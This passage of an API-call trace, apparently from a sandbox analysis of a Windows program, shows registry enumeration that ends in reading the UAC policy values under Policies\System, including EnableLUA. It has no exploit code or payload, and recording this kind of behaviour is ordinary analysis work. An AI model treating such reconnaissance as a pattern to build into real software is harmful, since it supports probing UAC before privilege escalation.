(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x1efc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0260.045] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0x1efb930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x1efc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0260.045] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0x1efb930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x1efc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0260.045] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0x1efb930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x1efc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0260.045] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0x1efb930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x1efc0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0260.045] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0x1efb930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0260.045] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0x1efb930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1efc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0260.045] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0260.046] RegCloseKey (hKey=0x34) returned 0x0 [0260.046] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x1efb930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x1efc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0260.046] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0x1efb930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x1efc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0260.046] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0x1efb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x1efc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0260.046] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0x1efb930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x1efc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0260.046] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0x1efb930, cchName=0x104 | out: lpName="System") returned 0x0 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1efc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0260.046] RegOpenKeyExW (in: hKey=0x90, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0260.046] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb930) returned 1 [0260.046] RegCloseKey (hKey=0x90) returned 0x0 [0260.046] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb860) returned 1 [0260.047] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efb860 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb878 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0260.047] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb888 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.047] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb898 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc168 [0260.047] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb930 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1b0 [0260.047] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x20) returned 0x1efb940 [0260.047] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb860) returned 1 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb860 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.047] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb968 [0260.047] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc240 [0260.048] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb978 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.048] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb988 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc2d0 [0260.048] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x30) returned 0x1efb998 [0260.048] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb940) returned 1 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb940 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc318 [0260.048] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb950 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc360 [0260.048] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb9d0 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc3a8 [0260.048] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb9e0 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc3f0 [0260.048] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc438 [0260.048] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb998) returned 1 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb998 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc480 [0260.048] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb9a8 [0260.049] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc4c8 [0260.049] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.049] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb9b8 [0260.049] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc510 [0260.049] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.049] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb9f0 [0260.049] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc558 [0260.049] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.049] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.049] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.049] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.049] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.049] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb878) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb888) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc168) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb898) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1b0) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb930) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1f8) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb860) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc240) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb968) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb978) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc2d0) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb988) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc318) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb940) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc360) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb950) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc3a8) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb9d0) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc3f0) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb9e0) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc480) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb998) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc4c8) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb9a8) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc510) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb9b8) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc558) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb9f0) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc438) returned 1 [0260.050] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc438 [0260.050] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0260.050] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x1efc438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x1efc438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc438) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.050] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.050] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efb860 [0260.050] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb878 [0260.050] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.050] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.050] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb888 [0260.050] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc438 [0260.051] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb898 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc558 [0260.051] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb930 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc510 [0260.051] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x20) returned 0x1efb940 [0260.051] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb860) returned 1 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb860 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc4c8 [0260.051] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb968 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc480 [0260.051] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) 